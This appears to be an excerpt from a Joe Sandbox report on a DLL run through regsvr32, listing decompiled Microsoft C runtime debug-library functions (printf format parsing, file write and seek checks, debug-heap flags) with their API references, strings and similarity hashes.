0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 7ccb00da1bd0fb9220a44591d36c0492ce99534c897a7d6a17d24537f8dc2fa2
Instruction ID: fc8006ff6f8d7d76551d502993a9577a4ed4fa9ca6386b0b138cfffaa104f198
Opcode Fuzzy Hash: 7ccb00da1bd0fb9220a44591d36c0492ce99534c897a7d6a17d24537f8dc2fa2
Instruction Fuzzy Hash: 48412BB2A0C6C286E7F09B64E8407BE72E4F38434AF600126D6C9875A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDDA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDDA(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t134 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t114 + _t134 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 365a2dca31272ad0c00aec3a5831cb280a19fde5761ae3667445a1def64af164
Instruction ID: 4b3f24e3fb7174c937380b25a7ddf4328f53ddd6ef2afac6cc97801a46cd3647
Opcode Fuzzy Hash: 365a2dca31272ad0c00aec3a5831cb280a19fde5761ae3667445a1def64af164
Instruction Fuzzy Hash: 41416E72A0DAC28AE3F0DB24E8547BEB7E4E385345F600126D6DD869A9DB7ED141CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD88(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t134 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t114 + _t134 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 18be2ec324f4e6ddaf4da83870b7f9445444224664337f66457babe689a72d53
Instruction ID: 7f650dd300c45f52e976b570372fea59531d88f616deac0b68cc0cf4a1a25f4d
Opcode Fuzzy Hash: 18be2ec324f4e6ddaf4da83870b7f9445444224664337f66457babe689a72d53
Instruction Fuzzy Hash: 9D4128A2A0C6C286E7F09B64E8447BE72E4F38434AF600126D6C9876A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

SetFilePointer.KERNEL32 ref: 000007FEF9D395B0
GetLastError.KERNEL32 ref: 000007FEF9D395C1
_dosmaperr.LIBCMTD ref: 000007FEF9D395D6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39578
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D39563

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastPointer__doserrno_dosmaperr
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 275287319-2412454244
Opcode ID: c7efb4c2b63aa0ea1a393bbb45a77ac8f6d4c0e98eaf8d85a5d097220697af2b
Instruction ID: 4cc925a7ddd92a70968dc62c242263200834f6053f28a3bc4a48022cf8d44a9e
Opcode Fuzzy Hash: c7efb4c2b63aa0ea1a393bbb45a77ac8f6d4c0e98eaf8d85a5d097220697af2b
Instruction Fuzzy Hash: FA318372A18B85C6D790CB28E88066E73A1F7857A5F604325E6FE47AF9CB3DD440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26210 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D262BE
_unlock.LIBCMTD ref: 000007FEF9D26329

Strings

_CrtSetDbgFlag, xrefs: 000007FEF9D262B0
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2626F, 000007FEF9D262A9
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 000007FEF9D2625A, 000007FEF9D262B7

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: 3f7f838120eed42c27c7ea3ce685aad0c3061be731b7dc7317e8a9b82dec8473
Instruction ID: 5fae40e96951f3d59b44a89f64fcf0ff6634817f5e1c8960b8a37b7fc16bb0b2
Opcode Fuzzy Hash: 3f7f838120eed42c27c7ea3ce685aad0c3061be731b7dc7317e8a9b82dec8473
Instruction Fuzzy Hash: CF313472D1D2428AE3A08B68ED4576EB3E0F741364F615236A2CD866F5D77EE4488B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40070 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D400EA
_free_nolock.LIBCMTD ref: 000007FEF9D40143
_unlock.LIBCMTD ref: 000007FEF9D4015A

Strings

pNode->_Next != NULL, xrefs: 000007FEF9D40107
f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp, xrefs: 000007FEF9D4011C

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock$_unlock
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp$pNode->_Next != NULL
API String ID: 2500497606-1087415141
Opcode ID: 73e945bef0fa2e243f2cc79ce7faf04cefa07676de83a818dd77e5436e879e5d
Instruction ID: 19d3e213fdd89feddaad3ed7c2e4781bfc305c80ac1e5456795dd8baf3e1709b
Opcode Fuzzy Hash: 73e945bef0fa2e243f2cc79ce7faf04cefa07676de83a818dd77e5436e879e5d
Instruction Fuzzy Hash: FB21FC36629B8581EB909B59E89072DA3E4F3C4B94F609426FACE437B4CF7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35393 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__RethrowException.LIBCMTD ref: 000007FEF9D353C5

Part of subcall function 000007FEF9D354A0: RaiseException.KERNEL32 ref: 000007FEF9D354CD

__RethrowException.LIBCMTD ref: 000007FEF9D353D1
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Exception$Rethrow$DestroyedFindFrameObjectRaiseUnlink
String ID: csm
API String ID: 933340387-1018135373
Opcode ID: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction ID: be7caa3ba3d0a30f9fef9d29ccc0ee5b0ac29a888dcf6323555a590ed5530147
Opcode Fuzzy Hash: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction Fuzzy Hash: BE21FA32A0C64582DAA09B15E49076D67A0F7C0B52F611136EADE077B5CB3BD4418B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39694 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D396F6
_invalid_parameter.LIBCMTD ref: 000007FEF9D39730

Strings

_write, xrefs: 000007FEF9D39722
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D396D6, 000007FEF9D3971B
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D396C1, 000007FEF9D39729

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-23161695
Opcode ID: 32410c4887627c76782b03988199a8b6bafae630e8670220b1a4c16fdf178152
Instruction ID: 83327c57c34769199563c7dbb3a6bce46be38180c11154985772b493e57d3243
Opcode Fuzzy Hash: 32410c4887627c76782b03988199a8b6bafae630e8670220b1a4c16fdf178152
Instruction Fuzzy Hash: 611127B1A29602CAF7D0AB24ED5476E72E1F380389F60A125E2DD426E4D7BEE5448B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39939 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39998
_invalid_parameter.LIBCMTD ref: 000007FEF9D399D2

Strings

(buf != NULL), xrefs: 000007FEF9D39963, 000007FEF9D399CB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39978, 000007FEF9D399BD
_write_nolock, xrefs: 000007FEF9D399C4

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-3042049227
Opcode ID: b156558e5a530bd8cc364ecba4e09f8d8b9f154ab820f1b2babcd7abee70c9c3
Instruction ID: 227cbb44b92b13f2699fc348b07479794ffd84b2571dbd840c84b1baf771b638
Opcode Fuzzy Hash: b156558e5a530bd8cc364ecba4e09f8d8b9f154ab820f1b2babcd7abee70c9c3
Instruction Fuzzy Hash: 1A115731E0C6429AF7A49F24EC117AE73D0F780398FA09126D2CD426E5DB7EE644CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3976D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D397C3
_invalid_parameter.LIBCMTD ref: 000007FEF9D397FD

Strings

_write, xrefs: 000007FEF9D397EF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D397A3, 000007FEF9D397E8
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3978E, 000007FEF9D397F6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-1338331675
Opcode ID: 11864ca282438847dd27f4dc85d1758fde49d78cd6d39020a8393d86cd701a27
Instruction ID: 6bd6a3a9ad0f3f204fba163462b9475bfd771603381d6f38345b55863188decb
Opcode Fuzzy Hash: 11864ca282438847dd27f4dc85d1758fde49d78cd6d39020a8393d86cd701a27
Instruction Fuzzy Hash: 0B0108B1A1C642C6FBA0AB64EC407AD36E0F380358FB04125E2CD476F5D7BEE9458B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39A9B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 17COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39A9B
_invalid_parameter.LIBCMTD ref: 000007FEF9D39AD5

Part of subcall function 000007FEF9D2BD70: DecodePointer.KERNEL32 ref: 000007FEF9D2BD99

Strings

((cnt & 1) == 0), xrefs: 000007FEF9D39ACE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39AC0
_write_nolock, xrefs: 000007FEF9D39AC7

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer__doserrno_invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 1098298932-1795423647
Opcode ID: 17be20b0b4ddc98d10ae5d9642fe0f8cd8b1b2069c373d6ecdcef621e5a80c70
Instruction ID: 84e1f9b7d4b50a62aaca49ed338a5ee7eeb2a48d33c586d02a205ea10770b6a2
